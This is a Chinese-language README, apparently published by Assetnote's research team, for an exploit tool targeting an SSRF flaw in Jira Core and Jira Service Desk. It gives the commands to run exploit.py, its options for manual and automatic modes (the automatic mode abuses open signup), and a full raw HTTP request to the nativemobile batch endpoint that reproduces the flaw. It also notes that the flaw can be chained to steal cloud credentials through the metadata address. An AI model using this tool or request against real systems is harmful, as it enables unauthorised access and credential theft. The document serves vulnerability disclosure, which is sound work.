Assetnote 自动映射您的外部资产并监控其变更和安全问题,以帮助防止严重入侵。
此项研究由 Assetnote 的安全研究团队完成。
您可以在 https://assetnote.io 了解更多关于我们的产品及团队信息。
详细介绍该漏洞发现步骤的博客文章可在此处找到:https://blog.assetnote.io/2022/06/26/exploiting-ssrf-in-jira/。
Jira Core 和 Jira Service Desk 在认证后存在服务端请求伪造漏洞。某些情况下,可以利用 Jira Core 或 Jira Service Desk 中的开放注册功能,在不知道凭证的情况下利用此服务端请求伪造缺陷。
该 SSRF 漏洞允许攻击者使用任意 HTTP 方法、标头和请求体向任意 URL 发送 HTTP 请求。当 Jira 部署在云环境中时,攻击者可以利用此漏洞链通过元数据 IP 地址获取云凭证或其他敏感信息。
根据 Atlassian 的公告,请查看以下知识库文章以确认您是否运行了受影响版本:https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
pip3 install -r requirements.txt
然后可以使用以下命令运行利用程序:
python3 exploit.py
帮助信息:
usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]
optional arguments:
-h, --help show this help message and exit
--target TARGET i.e. http://re.local:8090
--ssrf SSRF i.e. example.com (no protocol pls)
--mode MODE i.e. manual or automatic - manual mode you need to provide user auth info
--software SOFTWARE i.e. jira or jsd - only needed for manual mode
--username USERNAME i.e. admin - only needed for manual jira mode
--email EMAIL i.e. [email protected] - only needed for manual jira service desk mode
--password PASSWORD i.e. testing123 - only needed for manual mode
如果您已经拥有 Jira / Jira Service Desk 的凭证,则将 --mode 设置为 manual,并将 --software 参数设置为 jira 或 jsd。
以下 HTTP 请求可用于在通过 Jira 实例认证后重现此问题:
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63
{"requests":[{"method":"GET","location":"@example.com"}]}